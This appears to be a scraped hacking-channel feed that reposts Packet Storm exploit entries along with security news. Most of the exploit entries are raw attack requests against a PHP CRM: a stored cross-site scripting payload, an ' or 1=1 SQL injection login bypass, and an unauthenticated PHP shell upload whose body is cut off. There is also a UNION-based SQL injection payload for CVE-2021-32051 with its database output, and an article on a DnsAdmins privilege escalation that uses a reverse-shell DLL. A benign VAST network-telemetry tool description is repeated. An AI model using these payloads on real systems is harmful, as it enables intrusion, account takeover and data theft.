Exploit Collector
Customer Relationship Management (CRM) System 1.0 Cross Site Scripting

https://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png
Customer Relationship Management (CRM) System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | cf0d47675e4753962da5db34f3ef7c4d

Download
# Exploit Title: Customer Relationship Management (CRM) System 1.0 - Stored XSS
# Date: 11/05/2021
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14794&title=Customer+Relationship+Management+%28CRM%29+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: # Tested on: windows 10 (build 19041) + xampp v3.2.4
POST /crm/classes/Master.php?f=save_ticket HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: http://localhost
Connection: close
Referer: http://localhost/crm/customer/?page=ticket&view=create_ticket
Cookie: PHPSESSID=fspsjsh0e5tiq6hdnlmb9aigo2

id=&title=%3Cscript%3Econfirm(%60Stored+XSS%60)%3C%2Fscript%3E&service_id=4&description=%3Cp%3ETest%3Cbr%3E%3C%2Fp%3E

Payload:

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Customer Relationship Management (CRM) System 1.0 SQL Injection

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
Customer Relationship Management (CRM) System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | df2f1ca3c4905b571716bcf98058482c

Download
# Exploit Title: Customer Relationship Management (CRM) System 1.0 - Admin Bypass (SQLi)
# Date: 11/05/2021
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14794&title=Customer+Relationship+Management+%28CRM%29+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: # Tested on: windows 10 (build 19041) + xampp v3.2.4
POST /crm/classes/Login.php?f=clogin HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Origin: http://localhost
Connection: close
Referer: http://localhost/crm/customer/login.php
Cookie: PHPSESSID=fspsjsh0e5tiq6hdnlmb9aigo2

username='+or+1%3D1--+-&password='+or+1%3D1--+-
Or goto the login page and enter the below payload
Payload:
' or 1=1-- -

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Hexagon G!nius Auskunftsportal SQL Injection

https://2.bp.blogspot.com/-Nz8u9CyJbsU/WWlveW9d4WI/AAAAAAAAIPw/tdSVtwWBcYIHlgRN6nbdKVd_fE-UdNKsACLcBGAs/s1600/h80.png
Hexagon G!nius Auskunftsportal versions prior to 5.0.0.0 suffer from a remote SQL injection vulnerability.

MD5 | d6dd0935d69c6151673cc0768d99190a

Download
CVE-2021-32051 Hexagon G!nius Auskunftsportal before 5.0.0.0 allows SQL injection via the GiPWorkflow/Service/DownloadPublicFile id parameter.

[Additional Information]
PoC Payload: id=test' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)||
CHR(107)||CHR(112)||CHR(122)||CHR(113)||CHR(107)||CHR(71)||CHR(98)||CHR(88)||CHR(104)||CHR(102)||CHR(99)||
CHR(67)||CHR(113)||CHR(109)||CHR(69)||CHR(110)||CHR(67)||CHR(76)||CHR(103)||CHR(84)||CHR(83)||CHR(109)||
CHR(121)||CHR(84)||CHR(73)||CHR(116)||CHR(79)||CHR(103)||CHR(87)||CHR(84)||CHR(120)||CHR(119)||CHR(75)||
CHR(76)||CHR(114)||CHR(120)||CHR(103)||CHR(85)||CHR(87)||CHR(112)||CHR(111)||CHR(70)||CHR(108)||CHR(73)||
CHR(113)||CHR(112)||CHR(113)||CHR(120)||CHR(113),NULL FROM DUAL-- LShX

Result:
====
back-end DBMS: Oracle
banner: 'Oracle Database 19c Standard Edition 2 Release 19.0.0.0.0 - Production'
current user: 'IPA_ADMIN'
current database (equivalent to schema on Oracle): 'IPA_ADMIN'
current user is DBA: False
database management system users [18]:
====
Impact:
Complete compromise of the database's data integrity.

Discovery:
1. Discovered manually
2. Exploited via sqlmap
------------------------------------------
[Vulnerability Type]
SQL Injection
------------------------------------------
[Vendor of Product]
Hexagon AG
------------------------------------------
[Affected Product Code Base]
G!nius Auskunftsportal - 5.0.0.0 (fixed)
------------------------------------------
[Affected Component]
DownloadPublicFile component
------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Impact Information Disclosure]
true
------------------------------------------
[Attack Vectors]
The web application has a function ("DownloadPublicFile") which facilitates downloads.
The "id" parameter (used to specify which file is to be downloaded) is vulnerable to SQL injection.
This SQL injection attack surface allows the Oracle database backend to be accessed and read without authentication by using a "UNION SELECT" payload.
Accessing the following URL will trigger an Oracle error message:
https://[affected site root]/GiPWorkflow/Service/DownloadPublicFile?id=DS'
The apostrophe at the end (Unicode U+0027) interrupts the application's hard-coded SQL query.
At this point a "UNION SELECT" payload can be used to access any data within the database.
------------------------------------------
[Has vendor confirmed or acknowledged the vulnerability?]
true
A patch has been developed, released and installed to all known instances of the vulnerability a full six months prior to public disclosure.
------------------------------------------
[Discoverer]
Marcel Keiffenheim
------------------------------------------
[Reference]
https://www.hexagonsafetyinfrastructure.com/products/utilities-and-communications-products/advanced-utility-gis/hexagon-ginius

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

VAST - Visibility Across Space And Time
http://www.kitploit.com/2021/05/vast-visibility-across-space-and-time.html

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Customer Relationship Management (CRM) System 1.0 Shell Upload

https://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png
Customer Relationship Management (CRM) System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | fd0485926223aa2206f5546dccf46c64

Download
# Exploit Title: Customer Relationship Management (CRM) Unrestricted File Upload (unauthenticated)
# Date: 11/05/2021
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14794&title=Customer+Relationship+Management+%28CRM%29+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: # Tested on: windows 10 (build 19041) + xampp v3.2.4

POST /crm/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------73401159029622284642216073649
Content-Length: 852
Origin: http://localhost
Connection: close
Referer: http://localhost/crm/customer/?page=user
-----------------------------73401159029622284642216073649
Content-Disposition: form-data; name="id"

1
-----------------------------73401159029622284642216073649
Content-Disposition: form-data; name="firstname"

Adminstrator
-----------------------------73401159029622284642216073649
Content-Disposition: form-data; name="lastname"

Admin
-----------------------------73401159029622284642216073649
Content-Disposition: form-data; name="username"

admin
-----------------------------73401159029622284642216073649
Content-Disposition: form-data; name="password"

password
-----------------------------73401159029622284642216073649
Content-Disposition: form-data; name="img"; filename="friend.php"
Content-Type: application/octet-stream


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

The network telemetry (https://www.kitploit.com/search/label/Telemetry) engine for data-driven security investigations.
🔮 Visibility Across Space and Time (11)">Getting Started — 🔮 Visibility Across Space and Time (12)">Installation — 🔮 Visibility Across Space and Time (13)">Documentation — 🔮 Visibility Across Space and Time (14)">Development — 🔮 Visibility Across Space and Time (15)">Changelog — 🔮 Visibility Across Space and Time (16)">License and Scientific Use Chat with us on Gitter (https://gitter.im/tenzir/vast), or join us on Matrix at #tenzir_vast:gitter.im.
Key Features
High-Throughput Ingestion: import numerous log formats over 100k events/second, including Zeek (https://www.zeek.org/), Suricata (https://suricata-ids.org/), JSON, and CSV. Low-Latency Queries: sub-second response times over the entire data lake, thanks to multi-level bitmap indexing and actor model concurrency. Particularly helpful for instant indicator checking over the entire dataset. Flexible Export: access (https://www.kitploit.com/search/label/Access) data in common text formats (ASCII, JSON, CSV), in binary form (MRT, PCAP), or via zero-copy relay through Apache Arrow (https://arrow.apache.org/) for arbitrary downstream analysis. Powerful Data Model and Query Language: the generic semi-structured data model allows for expressing complex data in a typed fashion. An intuitive query language that feels like grep and awk at scale enables powerful subsetting of data with domain-specific operations, such as top-k prefix search for IP addresses and subset relationships. Schema Pivoting: the missing link to navigate between related events, e.g., extracting a PCAP for a given IDS alert, or locating all related logs for a given query.
Get VAST
Linux users can download our latest static binary release (https://storage.googleapis.com/tenzir-public-data/vast-static-builds/vast-static-latest.tar.gz) via browser or cURL. curl -L -O https://storage.googleapis.com/tenzir-public-data/vast-static-builds/vast-static-latest.tar.gz Unpack the archive. It contains three folders bin, etc, and share. To get started invoke the binary in the bin directory directly. tar xfz vast-static-latest.tar.gz
bin/vast --help To install VAST properly for your local user simly place the unpacked folders in /usr/local/. FreeBSD and macOS users have to build from source. Clone the master branch to get the most recent version of VAST. git clone --recursive https://github.com/tenzir/vast Once you have all dependencies in place, build VAST with the following commands: ./configure
cmake --build build
cmake --build build --target test
cmake --build build --target integration
cmake --build build --target install The installation guide (https://github.com/tenzir/vast/blob/master/INSTALLATION.md) contains more detailed and platform-specific instructions on how to build and install VAST.
Getting Started
Here are some commands to get a first glimpse of what VAST can do for you. Start a VAST node: vast start Ingest Zeek (http://www.zeek.org/) logs of various kinds: zcat *.log.gz | vast import zeek Run a query over the last hour, rendered as JSON: vast export json ':timestamp > 1 hour ago && (6.6.6.6 || 5353/udp)' Ingest a PCAP (https://en.wikipedia.org/wiki/Pcap) trace with a 1024-byte flow cutoff: vast import pcap -c 1024 < trace.pcap Run a query over PCAP data, sort the packets (https://www.kitploit.com/search/label/Packets) by time, and feed them into tcpdump: vast export pcap "sport > 60000/tcp && src !in 10.0.0.0/8" \
| ipsumdump --collate -w - \
| tcpdump -r - -nl
License and Scientific Use
VAST comes with a 3-clause BSD license (https://raw.github.com/vast-io/vast/master/COPYING). When referring to VAST in a scientific context, please use the following citation: @InProceedings{nsdi16:vast,

___________________________
@hacking_Attack
@Hacking_Video

author = {Matthias Vallentin and Vern Paxson and Robin Sommer},
title = {{VAST: A Unified Platform for Interactive Network Forensics}},
booktitle = {Proceedings of the USENIX Symposium on Networked Systems
Design and Implementation (NSDI)},
month = {March},
year = {2016}
} You can download the paper (https://www.usenix.org/system/files/conference/nsdi16/nsdi16-paper-vallentin.pdf) from the NSDI '16 proceedings (https://www.usenix.org/conference/nsdi16/technical-sessions). Developed with ❤️ by Tenzir (https://tenzir.com/)

Download Vast (https://github.com/tenzir/vast)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top 10 Things the Industry Can Do Now to Mitigate Digital Supply-Chain Attacks!

The SolarWinds and Exchange supply-chain attacks have highlighted how vulnerable 3rd party and vendor security is for every organization.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

VAST - Visibility Across Space And Time

The network telemetry engine for data-driven security investigations. Getting Started — Installation — Documentation — Development — Changelog — License and Scientific Use Chat with us on Gitter, or join us on Matrix at #tenzir_vast:gitter.im. Key Features High-Throughput Ingestion: import numerous log formats over 100k events/second, including Zeek, Suricata, JSON, and CSV. Low-Latency Queries: sub-second response times over the entire data lake, thanks to multi-level bitmap indexing and actor model concurrency. Particularly helpful for instant indicator checking over the entire dataset. Flexible Export: access data in common text formats (ASCII, JSON, CSV), in binary form (MRT, PCAP), or via zero-copy relay through Apache Arrow for arbitrary downstream analysis. Powerful Data Model and Query Language: the generic semi-structured data model allows for expressing complex data in a typed fashion. An intuitive query language that feels like grep and awk at scale enables powerful subsetting of data with domain-specific operations, such as top-k prefix search for IP addresses and subset relationships. Schema Pivoting: the missing link to navigate between related events, e.g., extracting a PCAP for a given IDS alert, or locating all related logs for a given query. Get VAST Linux users can download our latest static binary release via browser or cURL. curl -L -O https://storage.googleapis.com/tenzir-public-data/vast-static-builds/vast-static-latest.tar.gz Unpack the archive. It contains three folders bin, etc, and share. To get started invoke the binary in the bin directory directly. tar xfz vast-static-latest.tar.gzbin/vast --help To install VAST properly for your local user simly place the unpacked folders in /usr/local/. FreeBSD and macOS users have to build from source. Clone the master branch to get the most recent version of VAST. git clone --recursive https://github.com/tenzir/vast Once you have all dependencies in place, build VAST with the following commands: ./configurecmake --build buildcmake --build build --target testcmake --build build --target integrationcmake --build build --target install The installation guide contains more detailed and platform-specific instructions on how to build and install VAST. Getting Started Here are some commands to get a first glimpse of what VAST can do for you. Start a VAST node: vast start Ingest Zeek logs of various kinds: zcat *.log.gz | vast import zeek Run a query over the last hour, rendered as JSON: vast export json ':timestamp > 1 hour ago && (6.6.6.6 || 5353/udp)' Ingest a PCAP trace with a 1024-byte flow cutoff: vast import pcap -c 1024 < trace.pcap Run a query over PCAP data, sort the packets by time, and feed them into tcpdump: vast export pcap "sport > 60000/tcp && src !in 10.0.0.0/8" \ | ipsumdump --collate -w - \ | tcpdump -r - -nl License and Scientific Use VAST comes with a 3-clause BSD license. When referring to VAST in a scientific context, please use the following citation: @InProceedings{nsdi16:vast, author = {Matthias Vallentin and Vern Paxson and Robin Sommer}, title = {{VAST: A Unified Platform for Interactive Network Forensics}}, booktitle = {Proceedings of the USENIX Symposium on Networked Systems Design and Implementation (NSDI)}, month = {March}, year = {2016}} You can download the paper from the NSDI '16 proceedings. Developed with ❤️ by TenzirDownload Vast
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Windows Privilege Escalation: DnsAdmins to DomainAdmin

In this article, we will show you a method for Escalating Privilege on Windows-based Devices when it contains a compromised user of the DnsAdmins Group. Table of Content Introduction Setting Up Enumeration Exploitation Indicator of Compromise Conclusion Introduction In our long series in search for methods to elevate privileges on

The post Windows Privilege Escalation: DnsAdmins to DomainAdmin appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: DnsAdmins to DomainAdmin

In this article, we will show you a method for Escalating Privilege on Windows-based Devices when it contains a compromised user of the DnsAdmins Group. Table of Content· Introduction· Setting Up · Enumeration· Exploitation· Indicator of Compromise· ConclusionIn our long series in search for methods to elevate privileges on Windows Devices. Today, we look at DnsAdmins. To able to understand this you need to understand the implantation of DNS on Windows by Microsoft. The Microsoft Team designing DNS integration decided to make the Domain Controller a DNS server by default. To manage that DNS service a group was created by the name of DnsAdmins. Then came the ability for the users of DnsAdmins to run code with elevated privileges that in their eyes was a feature. The DNS Management protocol lies on top of RPC. An executable by the name of dns.exe can be found under C:\Windows\System32\ in Domain Controllers. In an essence, on Domain Controller the DNS server runs as a server. As with every service, it is possible to manage it using an interface that can be found at the dnsmgmt.msc. If you search for all the operations that are required to be supported by the server a R_DnssrvOperation comes into light. It contains the pszOperation parameter. This parameter enables the user that is a part of the DnsAdmins group to load a DLL which it doesn’t even monitor for content. DnsAdmins users can execute this DLL with elevated privilege which makes them susceptible to Privilege Escalation.Setting UpTo set up the conditions in our local environment for able to test the possibility of privilege escalation, we need to create a user. Then add that particular user to the DnsAdmins Group. In the demonstration, we have a domain controller that is all set up with a bunch of devices and users connected to it. We take the jeenali user and select the Add to a group option from the drop-down menu.Enumeration/DetectionThe setup is complete with the jeenali user being a member of the DnsAdmins group. To verify in this case or case we do this demonstration from an attacker perspective to understand what would be the indicators that will point towards and the process through which the attacker would figure out if the target is vulnerable to this kind of privilege escalation. We connect to the jeenali user. We assume that the attacker has control or credentials for this user. After establishing a connection through Evil-WinRM we use the whoami command with the group parameter to enumerate for the groups that the current user i.e., belong to. We see that the jeenali user is a part of the DnsAdmins group. This verifies the setup we did earlier. ExploitationFrom the introduction, we know that the member of the DnsAdmins group can run the DLL file with elevated privileges. To exploit that privilege, we need to craft a malicious DLL file. We will be using msfvenom with the shell_reverse_tc[...]

___________________________
@hacking_Attack
@Hacking_Video

p payload. We name the file raj.dll. The file we created is on our Kali machine. We use the smbserver.py python script from Impacket to host the /root directory as demonstrated below.Indicator of CompromiseWhen the attack using this method is performed, there is an indicator that can help identify the incident. During the attach when we run the command dnscmd.exe, it creates an entry in the Registry of the Target Machine. The same can be checked to obtain the IP address from which the attack was mounted and the DLL file that was used for the compromise. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll.https://1.bp.blogspot.com/-TMELLcQqAkI/YJsFvNnt-qI/AAAAAAAAv9s/QZtHAv0yAGYpgnY0pvnJzyPgTdfALj6FwCLcBGAsYHQ/s16000/51.png ConclusionThis article/demonstration presents the attacker with an opportunity to escalate its access after the initial foothold. Being a member of a group can provide direct exploitation to the SYSTEM. Hence, from Blue Teamer’s perspective, it is advised to always authorize proper permissions and make sure the users are not assigned groups that they are not supposed to access. Also, treating the DnsAdmins group with the same attention as the Administrator group.

___________________________
@hacking_Attack
@Hacking_Video